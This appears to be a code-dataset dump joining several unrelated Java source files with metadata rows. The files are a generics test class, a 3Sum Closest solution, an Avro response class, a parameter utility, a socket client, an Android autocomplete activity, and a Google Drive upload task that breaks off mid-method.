public void test4(){
out1("findingsea",123,12.3,true);
}
/**
* 泛型方法
* @param t
* @param <T>
*/
public <T> void out(T t){
System.out.println(t);
}
/**
* 泛型方法可变参数
* @param args
* @param <T>
*/
public <T> void out1(T... args){
for(T t:args){
System.out.println(t);
}
}
}
|
UTF-8
|
Java
| 1,506 |
java
|
GenerosityTest.java
|
Java
|
[
{
"context": "myapplication2.test.generosity;\n\n/**\n * Created by FT_ZSS on 2016/8/2.\n */\npublic class GenerosityTest {\n\n ",
"end": 72,
"score": 0.9995615482330322,
"start": 66,
"tag": "USERNAME",
"value": "FT_ZSS"
},
{
"context": "tring> c1 = new Container1<String,String>(\"name\",\"xiaoming\");\n Container1<String, Integer> c2 = new C",
"end": 515,
"score": 0.6741589903831482,
"start": 507,
"tag": "USERNAME",
"value": "xiaoming"
}
] | null |
[] |
package com.ft.myapplication2.test.generosity;
/**
* Created by FT_ZSS on 2016/8/2.
*/
public class GenerosityTest {
/**
* 泛型接口
*/
public void test1(){
FruitGenerator generator = new FruitGenerator();
System.out.println(generator.next());
System.out.println(generator.next());
System.out.println(generator.next());
}
/**
* 泛型类
*/
public void test2(){
Container1<String, String> c1 = new Container1<String,String>("name","xiaoming");
Container1<String, Integer> c2 = new Container1<String,Integer>("age",26);
Container1<Double, Double> c3 = new Container1<Double, Double>(1.1,2.2);
System.out.println(c1.getKey() + ":" + c1.getValue());
System.out.println(c2.getKey() + ":" + c2.getValue());
System.out.println(c3.getKey() + ":" + c3.getValue());
}
/**
* 泛型方法
*/
public void test3(){
out("findingsea");
out(123);
out(12.3);
out(true);
}
/**
* 泛型方法可变参数
*/
public void test4(){
out1("findingsea",123,12.3,true);
}
/**
* 泛型方法
* @param t
* @param <T>
*/
public <T> void out(T t){
System.out.println(t);
}
/**
* 泛型方法可变参数
* @param args
* @param <T>
*/
public <T> void out1(T... args){
for(T t:args){
System.out.println(t);
}
}
}
| 1,506 | 0.511773 | 0.479917 | 70 | 19.628571 | 21.440397 | 89 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.428571 | false | false |
8
|
edbcaa4c6548523868baa940c99608f3bf3464ad
| 6,579,889,916,739 |
670a4987447467a31703e0d92f041298b800ab07
|
/src/main/java/org/hashtable/nr/v0/NR148.java
|
92e4af869479fc36b2a216677ab03fd6deb87e88
|
[
"Apache-2.0"
] |
permissive
|
seulkikims/hashtable
|
https://github.com/seulkikims/hashtable
|
2f5f9337f24ebd98618ee6e2e78b0c7992c2d917
|
e6c4e7959a2c0adfd090d9329445da1252ab4705
|
refs/heads/master
| 2016-09-05T13:32:38.078000 | 2015-05-29T20:49:42 | 2015-05-29T20:49:44 | 18,306,801 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package org.hashtable.nr.v0;
import java.util.Arrays;
public class NR148 implements org.hashtable.nr.NR148 {
public int solve(int[] num, int target) {
return solve0(num, target);
}
private int solve0(int[] num, int target) {
if (num.length < 3)
return 0;
Arrays.sort(num);
int res = num[0] + num[1] + num[2];
for (int i = 0; i < num.length - 2; ++i) {
// skip duplicates
if (i > 0 && num[i] == num[i - 1])
continue;
for (int j = i + 1; j < num.length - 1; ++j) {
// skip duplicates
if (j > i + 1 && num[j] == num[j - 1])
continue;
// binary search for the third element
int start = j + 1, end = num.length - 1;
while (start <= end) {
int mid = (start + end) / 2;
int sum = num[i] + num[j] + num[mid];
int diff = sum - target;
if (Math.abs(diff) < Math.abs(res - target)) {
res = sum;
}
if (diff == 0) { // find the target
return res;
} else if (diff < 0) {
start = mid + 1;
} else {
end = mid - 1;
}
}
}
}
return res;
}
private int solve1(int[] num, int target) {
if (num.length < 3) { // if less than three items then return 0
return Integer.MAX_VALUE;
}
Arrays.sort(num);
int res = num[0] + num[1] + num[2];
for (int i = 0; i < num.length - 2; ++i) {
if (i > 0 && num[i] == num[i - 1])
continue;
int start = i + 1, end = num.length - 1;
while (start < end) {
int sum = num[i] + num[start] + num[end];
if (Math.abs(sum - target) < Math.abs(res - target)) {
res = sum;
}
if (sum == target) {
return res;
} else if (sum < target) {
start++;
} else {
end--;
}
}// end-while
}
return res;
}
}
|
UTF-8
|
Java
| 1,712 |
java
|
NR148.java
|
Java
|
[] | null |
[] |
package org.hashtable.nr.v0;
import java.util.Arrays;
public class NR148 implements org.hashtable.nr.NR148 {
public int solve(int[] num, int target) {
return solve0(num, target);
}
private int solve0(int[] num, int target) {
if (num.length < 3)
return 0;
Arrays.sort(num);
int res = num[0] + num[1] + num[2];
for (int i = 0; i < num.length - 2; ++i) {
// skip duplicates
if (i > 0 && num[i] == num[i - 1])
continue;
for (int j = i + 1; j < num.length - 1; ++j) {
// skip duplicates
if (j > i + 1 && num[j] == num[j - 1])
continue;
// binary search for the third element
int start = j + 1, end = num.length - 1;
while (start <= end) {
int mid = (start + end) / 2;
int sum = num[i] + num[j] + num[mid];
int diff = sum - target;
if (Math.abs(diff) < Math.abs(res - target)) {
res = sum;
}
if (diff == 0) { // find the target
return res;
} else if (diff < 0) {
start = mid + 1;
} else {
end = mid - 1;
}
}
}
}
return res;
}
private int solve1(int[] num, int target) {
if (num.length < 3) { // if less than three items then return 0
return Integer.MAX_VALUE;
}
Arrays.sort(num);
int res = num[0] + num[1] + num[2];
for (int i = 0; i < num.length - 2; ++i) {
if (i > 0 && num[i] == num[i - 1])
continue;
int start = i + 1, end = num.length - 1;
while (start < end) {
int sum = num[i] + num[start] + num[end];
if (Math.abs(sum - target) < Math.abs(res - target)) {
res = sum;
}
if (sum == target) {
return res;
} else if (sum < target) {
start++;
} else {
end--;
}
}// end-while
}
return res;
}
}
| 1,712 | 0.515771 | 0.491822 | 71 | 23.112677 | 16.662811 | 65 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 3.633803 | false | false |
8
|
47cf7d4bc3b6ff10e6275c8d91e7624c252cb92f
| 16,733,192,601,893 |
5a1916f66c3f9d8e1eac704075cabf9cf191d66f
|
/flow/src/main/java/modules/response/RegisterWindowResponse.java
|
71ae3f73692ddd4b54e8508b18a44e9ae0b685e7
|
[] |
no_license
|
rk7ol/programming_ML
|
https://github.com/rk7ol/programming_ML
|
bf17bf8bd709b2d6c62a13a45fb6aaa22fb78936
|
c07d7b304ddac166bdd69179874a01ddee572da9
|
refs/heads/master
| 2023-03-21T04:00:49.231000 | 2021-03-06T05:57:49 | 2021-03-06T05:57:49 | 333,019,822 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package modules.response;
import modules.Response;
import org.apache.avro.generic.GenericData;
import org.apache.avro.generic.GenericRecord;
/**
* register window to server
*
*
* string ID
*
*/
public class RegisterWindowResponse extends Response {
private String ID;
public String getID() {
return ID;
}
public RegisterWindowResponse(String session, String ID) {
super(session, "REGISTER_WINDOW_RESPONSE");
this.ID = ID;
}
public RegisterWindowResponse(GenericRecord record) {
super(record);
}
@Override
public void deserialize(GenericRecord record) {
this.session = record.get("session").toString();
this.symbol = (GenericData.EnumSymbol) record.get("type");
this.ID = record.get("ID").toString();
}
@Override
public GenericRecord serialize() {
GenericRecord record = new GenericData.Record(getSchema());
record.put("session", session);
record.put("type", symbol);
record.put("ID", ID);
return record;
}
@Override
protected void registerSchema() {
registerSchema(this.getClass(), "schemas/response/RegisterWindowResponse.avsc");
}
}
|
UTF-8
|
Java
| 1,224 |
java
|
RegisterWindowResponse.java
|
Java
|
[] | null |
[] |
package modules.response;
import modules.Response;
import org.apache.avro.generic.GenericData;
import org.apache.avro.generic.GenericRecord;
/**
* register window to server
*
*
* string ID
*
*/
public class RegisterWindowResponse extends Response {
private String ID;
public String getID() {
return ID;
}
public RegisterWindowResponse(String session, String ID) {
super(session, "REGISTER_WINDOW_RESPONSE");
this.ID = ID;
}
public RegisterWindowResponse(GenericRecord record) {
super(record);
}
@Override
public void deserialize(GenericRecord record) {
this.session = record.get("session").toString();
this.symbol = (GenericData.EnumSymbol) record.get("type");
this.ID = record.get("ID").toString();
}
@Override
public GenericRecord serialize() {
GenericRecord record = new GenericData.Record(getSchema());
record.put("session", session);
record.put("type", symbol);
record.put("ID", ID);
return record;
}
@Override
protected void registerSchema() {
registerSchema(this.getClass(), "schemas/response/RegisterWindowResponse.avsc");
}
}
| 1,224 | 0.646242 | 0.646242 | 57 | 20.473684 | 22.632151 | 88 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.421053 | false | false |
8
|
a71defb3003523348fa086f343b66419683b8651
| 15,934,328,707,569 |
a16b2a58625081530c089568e2b29f74e23f95a9
|
/doolin/Doolin-Core/src/main/java/net/sf/doolin/util/ParameterSet.java
|
a469dc89f4f21b852cd45c039a853988afbe4126
|
[] |
no_license
|
dcoraboeuf/orbe
|
https://github.com/dcoraboeuf/orbe
|
440335b109dee2ee3db9ee2ab38430783e7a3dfb
|
dae644da030e5a5461df68936fea43f2f31271dd
|
refs/heads/master
| 2022-01-27T10:18:43.222000 | 2022-01-01T11:45:35 | 2022-01-01T11:45:35 | 178,600,867 | 0 | 0 | null | false | 2022-01-01T11:46:01 | 2019-03-30T19:13:13 | 2022-01-01T11:45:42 | 2022-01-01T11:45:39 | 2,024 | 0 | 0 | 0 |
Java
| false | false |
/*
* Created on 13 oct. 2004
*/
package net.sf.doolin.util;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import org.apache.commons.lang.StringUtils;
/**
* Set of parameters that provides the developer a list of utility methods to
* retrieve values.
*
* @version $Id: ParameterSet.java,v 1.2 2007/07/31 15:32:49 guinnessman Exp $
* @author Damien Coraboeuf
*/
public class ParameterSet {
/**
* Parameters
*/
private HashMap<String, String> parameters = new HashMap<String, String>();
/**
* Empty constructor
*/
public ParameterSet() {
}
/**
* Constructor from an existing map
*
* @param map
* Existing map. This map is not directly used by the parameter
* set since it is duplicated.
*/
public ParameterSet(Map<String, String> map) {
parameters = new HashMap<String, String>(map);
}
/**
* Constructor from a set of properties
*
* @param properties
* Set of properties to get parameters from
*/
public ParameterSet(Properties properties) {
parameters = new HashMap<String, String>();
Iterator<Object> names = properties.keySet().iterator();
while (names.hasNext()) {
String name = (String) names.next();
String value = properties.getProperty(name);
parameters.put(name, value);
}
}
/**
* Add a parameter
*
* @param name
* Parameter's name
* @param value
* Parameter's value
*/
public void addParam(String name, String value) {
parameters.put(name, value);
}
/**
* Adds an integer parameter
*
* @param name
* Parameter's name
* @param value
* Parameter's value
*/
public void addParam(String name, int value) {
addParam(name, String.valueOf(value));
}
/**
* Adds a boolean parameter
*
* @param name
* Parameter's name
* @param value
* Parameter's value
*/
public void addParam(String name, boolean value) {
addParam(name, String.valueOf(value));
}
/**
* Adds a set of parameters
*
* @param params
* Parameters to be added
*/
public void addParams(Map<String, String> params) {
parameters.putAll(params);
}
/**
* Get a parameter as a string
*
* @param name
* Parameter's name
* @return Parameter's value or <code>null</code> if not found.
*/
public String getParam(String name) {
return parameters.get(name);
}
/**
* Get a string parameter
*
* @param name
* Parameter's name
* @param mandatory
* Indicates if the parameter <i>must</i> be present.
* @param defaultValue
* Value to be used if the parameter is not found and if it is
* not mandatory.
* @return Parameter's value or <code>null</code> if not found.
* @throws MissingParameterException
* If the parameter is not found when it is mandatory.
*/
public String getParam(String name, boolean mandatory, String defaultValue) throws MissingParameterException {
String value = getParam(name);
if (StringUtils.isEmpty(value)) {
if (mandatory) {
throw new MissingParameterException(name);
} else {
return defaultValue;
}
} else {
return value;
}
}
/**
* Get an int parameter
*
* @param name
* Parameter's name
* @param mandatory
* Indicates if the parameter <i>must</i> be present.
* @param defaultValue
* Value to be used if the parameter is not found and if it is
* not mandatory.
* @return Parameter's value or <code>null</code> if not found.
* @throws MissingParameterException
* If the parameter is not found when it is mandatory.
*/
public int getIntParam(String name, boolean mandatory, int defaultValue) throws MissingParameterException {
String value = getParam(name);
if (StringUtils.isEmpty(value)) {
if (mandatory) {
throw new MissingParameterException(name);
} else {
return defaultValue;
}
} else {
try {
return Integer.parseInt(value);
} catch (NumberFormatException ex) {
throw new MissingParameterException(name);
}
}
}
/**
* Get a double parameter
*
* @param name
* Parameter's name
* @param mandatory
* Indicates if the parameter <i>must</i> be present.
* @param defaultValue
* Value to be used if the parameter is not found and if it is
* not mandatory.
* @return Parameter's value or <code>null</code> if not found.
* @throws MissingParameterException
* If the parameter is not found when it is mandatory.
*/
public double getDoubleParam(String name, boolean mandatory, double defaultValue) throws MissingParameterException {
String value = getParam(name);
if (StringUtils.isEmpty(value)) {
if (mandatory) {
throw new MissingParameterException(name);
} else {
return defaultValue;
}
} else {
try {
return Double.parseDouble(value);
} catch (NumberFormatException ex) {
throw new MissingParameterException(name);
}
}
}
/**
* Get a boolean parameter
*
* @param name
* Parameter's name
* @param mandatory
* Indicates if the parameter <i>must</i> be present.
* @param defaultValue
* Value to be used if the parameter is not found and if it is
* not mandatory.
* @return Parameter's value or <code>null</code> if not found.
* @throws MissingParameterException
* If the parameter is not found when it is mandatory.
*/
public boolean getBooleanParam(String name, boolean mandatory, boolean defaultValue) throws MissingParameterException {
String value = getParam(name);
if (StringUtils.isEmpty(value)) {
if (mandatory) {
throw new MissingParameterException(name);
} else {
return defaultValue;
}
} else {
return Boolean.valueOf(value).booleanValue();
}
}
/**
* Read-only access to parameters
*
* @return A read-only version of the underlying parameter's map.
*/
public Map<String, String> getParams() {
return Collections.unmodifiableMap(parameters);
}
/**
* Gets a parameter as a constant name for a given class and then uses this
* constant name to get its actual value.
*
* For example, the call to
* <code>getConstant("key", SwingConstants.class, true, null)</code> will
* return the value for <code>SwingConstant.LEFT</code> if the value
* associated with "key" is "LEFT".
*
* @param name
* Key name
* @param type
* Type that contains the constant definition
* @param mandatory
* <code>true</code> if the value is required
* @param defaultValue
* Default value if the value is not required and if the key is
* not found
* @return Value or <code>null</code>
*/
public Object getConstant(String name, Class<?> type, boolean mandatory, Object defaultValue) {
String value = getParam(name, mandatory, null);
if (value == null) {
return defaultValue;
} else {
try {
Field field = type.getField(value);
return field.get(null);
} catch (Exception ex) {
throw new RuntimeException("Cannot get field " + value + " on " + type.getName(), ex);
}
}
}
}
|
UTF-8
|
Java
| 7,359 |
java
|
ParameterSet.java
|
Java
|
[
{
"context": "2 2007/07/31 15:32:49 guinnessman Exp $\n * @author Damien Coraboeuf\n */\npublic class ParameterSet {\n\t/**\n\t * Paramete",
"end": 487,
"score": 0.9998814463615417,
"start": 471,
"tag": "NAME",
"value": "Damien Coraboeuf"
}
] | null |
[] |
/*
* Created on 13 oct. 2004
*/
package net.sf.doolin.util;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import org.apache.commons.lang.StringUtils;
/**
* Set of parameters that provides the developer a list of utility methods to
* retrieve values.
*
* @version $Id: ParameterSet.java,v 1.2 2007/07/31 15:32:49 guinnessman Exp $
* @author <NAME>
*/
public class ParameterSet {
/**
* Parameters
*/
private HashMap<String, String> parameters = new HashMap<String, String>();
/**
* Empty constructor
*/
public ParameterSet() {
}
/**
* Constructor from an existing map
*
* @param map
* Existing map. This map is not directly used by the parameter
* set since it is duplicated.
*/
public ParameterSet(Map<String, String> map) {
parameters = new HashMap<String, String>(map);
}
/**
* Constructor from a set of properties
*
* @param properties
* Set of properties to get parameters from
*/
public ParameterSet(Properties properties) {
parameters = new HashMap<String, String>();
Iterator<Object> names = properties.keySet().iterator();
while (names.hasNext()) {
String name = (String) names.next();
String value = properties.getProperty(name);
parameters.put(name, value);
}
}
/**
* Add a parameter
*
* @param name
* Parameter's name
* @param value
* Parameter's value
*/
public void addParam(String name, String value) {
parameters.put(name, value);
}
/**
* Adds an integer parameter
*
* @param name
* Parameter's name
* @param value
* Parameter's value
*/
public void addParam(String name, int value) {
addParam(name, String.valueOf(value));
}
/**
* Adds a boolean parameter
*
* @param name
* Parameter's name
* @param value
* Parameter's value
*/
public void addParam(String name, boolean value) {
addParam(name, String.valueOf(value));
}
/**
* Adds a set of parameters
*
* @param params
* Parameters to be added
*/
public void addParams(Map<String, String> params) {
parameters.putAll(params);
}
/**
* Get a parameter as a string
*
* @param name
* Parameter's name
* @return Parameter's value or <code>null</code> if not found.
*/
public String getParam(String name) {
return parameters.get(name);
}
/**
* Get a string parameter
*
* @param name
* Parameter's name
* @param mandatory
* Indicates if the parameter <i>must</i> be present.
* @param defaultValue
* Value to be used if the parameter is not found and if it is
* not mandatory.
* @return Parameter's value or <code>null</code> if not found.
* @throws MissingParameterException
* If the parameter is not found when it is mandatory.
*/
public String getParam(String name, boolean mandatory, String defaultValue) throws MissingParameterException {
String value = getParam(name);
if (StringUtils.isEmpty(value)) {
if (mandatory) {
throw new MissingParameterException(name);
} else {
return defaultValue;
}
} else {
return value;
}
}
/**
* Get an int parameter
*
* @param name
* Parameter's name
* @param mandatory
* Indicates if the parameter <i>must</i> be present.
* @param defaultValue
* Value to be used if the parameter is not found and if it is
* not mandatory.
* @return Parameter's value or <code>null</code> if not found.
* @throws MissingParameterException
* If the parameter is not found when it is mandatory.
*/
public int getIntParam(String name, boolean mandatory, int defaultValue) throws MissingParameterException {
String value = getParam(name);
if (StringUtils.isEmpty(value)) {
if (mandatory) {
throw new MissingParameterException(name);
} else {
return defaultValue;
}
} else {
try {
return Integer.parseInt(value);
} catch (NumberFormatException ex) {
throw new MissingParameterException(name);
}
}
}
/**
* Get a double parameter
*
* @param name
* Parameter's name
* @param mandatory
* Indicates if the parameter <i>must</i> be present.
* @param defaultValue
* Value to be used if the parameter is not found and if it is
* not mandatory.
* @return Parameter's value or <code>null</code> if not found.
* @throws MissingParameterException
* If the parameter is not found when it is mandatory.
*/
public double getDoubleParam(String name, boolean mandatory, double defaultValue) throws MissingParameterException {
String value = getParam(name);
if (StringUtils.isEmpty(value)) {
if (mandatory) {
throw new MissingParameterException(name);
} else {
return defaultValue;
}
} else {
try {
return Double.parseDouble(value);
} catch (NumberFormatException ex) {
throw new MissingParameterException(name);
}
}
}
/**
* Get a boolean parameter
*
* @param name
* Parameter's name
* @param mandatory
* Indicates if the parameter <i>must</i> be present.
* @param defaultValue
* Value to be used if the parameter is not found and if it is
* not mandatory.
* @return Parameter's value or <code>null</code> if not found.
* @throws MissingParameterException
* If the parameter is not found when it is mandatory.
*/
public boolean getBooleanParam(String name, boolean mandatory, boolean defaultValue) throws MissingParameterException {
String value = getParam(name);
if (StringUtils.isEmpty(value)) {
if (mandatory) {
throw new MissingParameterException(name);
} else {
return defaultValue;
}
} else {
return Boolean.valueOf(value).booleanValue();
}
}
/**
* Read-only access to parameters
*
* @return A read-only version of the underlying parameter's map.
*/
public Map<String, String> getParams() {
return Collections.unmodifiableMap(parameters);
}
/**
* Gets a parameter as a constant name for a given class and then uses this
* constant name to get its actual value.
*
* For example, the call to
* <code>getConstant("key", SwingConstants.class, true, null)</code> will
* return the value for <code>SwingConstant.LEFT</code> if the value
* associated with "key" is "LEFT".
*
* @param name
* Key name
* @param type
* Type that contains the constant definition
* @param mandatory
* <code>true</code> if the value is required
* @param defaultValue
* Default value if the value is not required and if the key is
* not found
* @return Value or <code>null</code>
*/
public Object getConstant(String name, Class<?> type, boolean mandatory, Object defaultValue) {
String value = getParam(name, mandatory, null);
if (value == null) {
return defaultValue;
} else {
try {
Field field = type.getField(value);
return field.get(null);
} catch (Exception ex) {
throw new RuntimeException("Cannot get field " + value + " on " + type.getName(), ex);
}
}
}
}
| 7,349 | 0.642886 | 0.639897 | 276 | 25.663044 | 24.33177 | 120 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.615942 | false | false |
8
|
728752e8244ece868eacf112ea71a630965d689f
| 9,723,805,987,815 |
09731ef3ad93f2bf4d3aa20b12c045ad5ec044a7
|
/Test/src/practice/SocketClient.java
|
9eee455dae64eda63126e62876ff5150151c1bef
|
[] |
no_license
|
1291862631/Test
|
https://github.com/1291862631/Test
|
d054b4d1013da054943579dcc88c14af5f8f33dc
|
9669363bd33fa0ec8f8279f5cffbe5b049621d9d
|
refs/heads/master
| 2020-03-29T21:22:58.155000 | 2018-09-26T07:18:36 | 2018-09-26T07:18:36 | 150,363,553 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package practice;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.Socket;
import util.config;
import util.userLogin;
public class SocketClient {
// 搭建客户端
public static void main(String[] args) throws IOException {
try {
Socket socket = new Socket("192.168.31.88", 8080);
// Socket socket = new Socket("app.evecca.com", 5899);
System.out.println("客户端启动成功");
OutputStream write = socket.getOutputStream();
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
String readline;
userLogin ben = new userLogin("13405969308");
while (true) {
write.write(ben.getUserLoginBen());
write.flush();
// System.out.println(socket.isOutputShutdown());
socket.shutdownOutput();
System.out.println("Server:" + in.readLine());
}
} catch (Exception e) {
System.out.println("can not listen to:" + e);// 出错,打印出错信息
}
}
}
|
GB18030
|
Java
| 1,104 |
java
|
SocketClient.java
|
Java
|
[
{
"context": "tion {\r\n\t\ttry {\r\n\r\n\t\t\tSocket socket = new Socket(\"192.168.31.88\", 8080);\r\n\t\t\t// Socket socket = new Socket(\"app.e",
"end": 407,
"score": 0.9997252821922302,
"start": 394,
"tag": "IP_ADDRESS",
"value": "192.168.31.88"
}
] | null |
[] |
package practice;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.Socket;
import util.config;
import util.userLogin;
public class SocketClient {
// 搭建客户端
public static void main(String[] args) throws IOException {
try {
Socket socket = new Socket("192.168.31.88", 8080);
// Socket socket = new Socket("app.evecca.com", 5899);
System.out.println("客户端启动成功");
OutputStream write = socket.getOutputStream();
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
String readline;
userLogin ben = new userLogin("13405969308");
while (true) {
write.write(ben.getUserLoginBen());
write.flush();
// System.out.println(socket.isOutputShutdown());
socket.shutdownOutput();
System.out.println("Server:" + in.readLine());
}
} catch (Exception e) {
System.out.println("can not listen to:" + e);// 出错,打印出错信息
}
}
}
| 1,104 | 0.676083 | 0.648776 | 43 | 22.744186 | 22.04867 | 90 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.930233 | false | false |
8
|
381199651c1a0457d1c587fabcc52768ca07b389
| 1,477,468,783,936 |
59f0d218b3308f8725d5fe2efbd4af1f04edd863
|
/Autocomplete and Floating hint/Android_App/app/src/main/java/com/example/pkumar/floatinghintapp/MainActivity.java
|
ef56fad323f2a2db0c1487d4aa3f0ac6afc7353b
|
[] |
no_license
|
pramodtlt/Android
|
https://github.com/pramodtlt/Android
|
e90d17ed36bd8d91e6ce54a99442d7b289c5acf2
|
a79aa1612a3b1080e0704122e4ca77ff1bc0865d
|
refs/heads/master
| 2020-03-25T04:36:54.290000 | 2019-01-13T04:34:30 | 2019-01-13T04:34:30 | 143,404,526 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.example.pkumar.floatinghintapp;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.ArrayAdapter;
import android.widget.AutoCompleteTextView;
public class MainActivity extends AppCompatActivity {
AutoCompleteTextView eFirstName;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
eFirstName = (AutoCompleteTextView)findViewById(R.id.efirstname);
String[] names = {"james", "johm", "jenny", "jennie"};
//ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, android.R.layout.simple_dropdown_item_1line, names);
ArrayAdapter<String> adapter = new ArrayAdapter<String>
(this, R.layout.custom_design_layout, names);
eFirstName.setThreshold(1);
eFirstName.setAdapter(adapter);
}
}
|
UTF-8
|
Java
| 928 |
java
|
MainActivity.java
|
Java
|
[
{
"context": "ById(R.id.efirstname);\n String[] names = {\"james\", \"johm\", \"jenny\", \"jennie\"};\n //ArrayAdap",
"end": 563,
"score": 0.9996500611305237,
"start": 558,
"tag": "NAME",
"value": "james"
},
{
"context": ".efirstname);\n String[] names = {\"james\", \"johm\", \"jenny\", \"jennie\"};\n //ArrayAdapter<Stri",
"end": 571,
"score": 0.9996557831764221,
"start": 567,
"tag": "NAME",
"value": "johm"
},
{
"context": "ame);\n String[] names = {\"james\", \"johm\", \"jenny\", \"jennie\"};\n //ArrayAdapter<String> adapt",
"end": 580,
"score": 0.9997206926345825,
"start": 575,
"tag": "NAME",
"value": "jenny"
},
{
"context": " String[] names = {\"james\", \"johm\", \"jenny\", \"jennie\"};\n //ArrayAdapter<String> adapter = new A",
"end": 590,
"score": 0.9997036457061768,
"start": 584,
"tag": "NAME",
"value": "jennie"
}
] | null |
[] |
package com.example.pkumar.floatinghintapp;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.ArrayAdapter;
import android.widget.AutoCompleteTextView;
public class MainActivity extends AppCompatActivity {
AutoCompleteTextView eFirstName;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
eFirstName = (AutoCompleteTextView)findViewById(R.id.efirstname);
String[] names = {"james", "johm", "jenny", "jennie"};
//ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, android.R.layout.simple_dropdown_item_1line, names);
ArrayAdapter<String> adapter = new ArrayAdapter<String>
(this, R.layout.custom_design_layout, names);
eFirstName.setThreshold(1);
eFirstName.setAdapter(adapter);
}
}
| 928 | 0.725215 | 0.721983 | 24 | 37.708332 | 29.015053 | 124 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.875 | false | false |
8
|
f79d5a2483acb0e0e69a1ddd8c2948882e256ee7
| 30,640,296,700,226 |
4a377a4c51708bb874573f920ff201dd009ba630
|
/SmartHMA/app/src/main/java/pl/wasat/smarthma/services/GoogleDriveUpload.java
|
5c1e9d67aa9f2395d33cf4bbe383bd1e007df041
|
[] |
no_license
|
zi-dan/smarthma
|
https://github.com/zi-dan/smarthma
|
3e5eadfc13c14dab7768afdcd16394fd13eef977
|
a19cddf8875af93b5e09b2e243a58e268100a2d3
|
refs/heads/master
| 2020-12-02T20:49:39.076000 | 2016-06-20T13:16:22 | 2016-06-20T13:16:22 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/*
* Copyright (c) 2016. SmartHMA ESA
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package pl.wasat.smarthma.services;
import android.app.NotificationManager;
import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Environment;
import android.support.v4.app.NotificationCompat;
import android.util.Log;
import com.google.api.client.extensions.android.http.AndroidHttp;
import com.google.api.client.googleapis.extensions.android.gms.auth.GoogleAccountCredential;
import com.google.api.client.googleapis.extensions.android.gms.auth.UserRecoverableAuthIOException;
import com.google.api.client.http.FileContent;
import com.google.api.client.http.HttpTransport;
import com.google.api.client.json.JsonFactory;
import com.google.api.client.json.jackson2.JacksonFactory;
import com.google.api.services.drive.model.About;
import com.google.api.services.drive.model.File;
import com.google.api.services.drive.model.FileList;
import com.google.api.services.drive.model.ParentReference;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import pl.wasat.smarthma.R;
/**
* The type Google drive upload.
*/
class GoogleDriveUpload extends AsyncTask<Void, Void, Boolean> {
/**
* The Root dir.
*/
final java.io.File rootDir = Environment.getExternalStorageDirectory();
private final NotificationCompat.Builder mBuilder;
private final NotificationManager mNotifyManager;
private final Context context;
private com.google.api.services.drive.Drive mService = null;
/**
* Instantiates a new Google drive upload.
*
* @param credential the credential
* @param context the context
*/
public GoogleDriveUpload(GoogleAccountCredential credential, Context context) {
super();
this.context = context;
//String fileName = "file";
//java.io.File file = new java.io.File(rootDir + "/smartHMA", fileName);
HttpTransport transport = AndroidHttp.newCompatibleTransport();
JsonFactory jsonFactory = JacksonFactory.getDefaultInstance();
mService = new com.google.api.services.drive.Drive.Builder(
transport, jsonFactory, credential)
.setApplicationName("GoogleDriveSample")
.build();
mNotifyManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
mBuilder = new NotificationCompat.Builder(context);
mBuilder.setContentTitle(context.getString(R.string.upload))
.setContentText(context.getResources().getString(R.string.upload_to_google_drive_in_progress))
.setSmallIcon(R.drawable.actionbar_logo);
mNotifyManager.notify(1, mBuilder.build());
}
/**
* Background task to call Drive API.
*
* @param params no parameters needed for this task.
*/
@Override
protected Boolean doInBackground(Void... params) {
String file_type = "video/mp4"; //write your file type
java.io.File rootDir = Environment.getExternalStorageDirectory();
String fileName = "file";
java.io.File file = new java.io.File(rootDir + "/smartHMA", fileName);
com.google.api.services.drive.model.File body = new com.google.api.services.drive.model.File();
File FileRtr;
body.setTitle(file.getName());
body.setId(null);
body.setMimeType(file_type);
try {
body.setParents(Collections.singletonList(new ParentReference().setId(getRootId())));
FileContent mediaContent = new FileContent(file_type, file);
FileRtr = mService.files().insert(body, mediaContent).execute();
if (FileRtr != null) {
System.out.println(context.getString(R.string.file_uploaded) + FileRtr.getTitle());
}
} catch (Exception e) {
Log.e("", e.toString());
return false;
}
return true;
}
/**
* Fetch a list of up to 10 file names and IDs.
*
* @return List of Strings describing files, or an empty list if no files
* found.
* @throws IOException
*/
private String getRootId() throws IOException {
try {
About about = mService.about().get().execute();
// Get a list of up to 10 files.
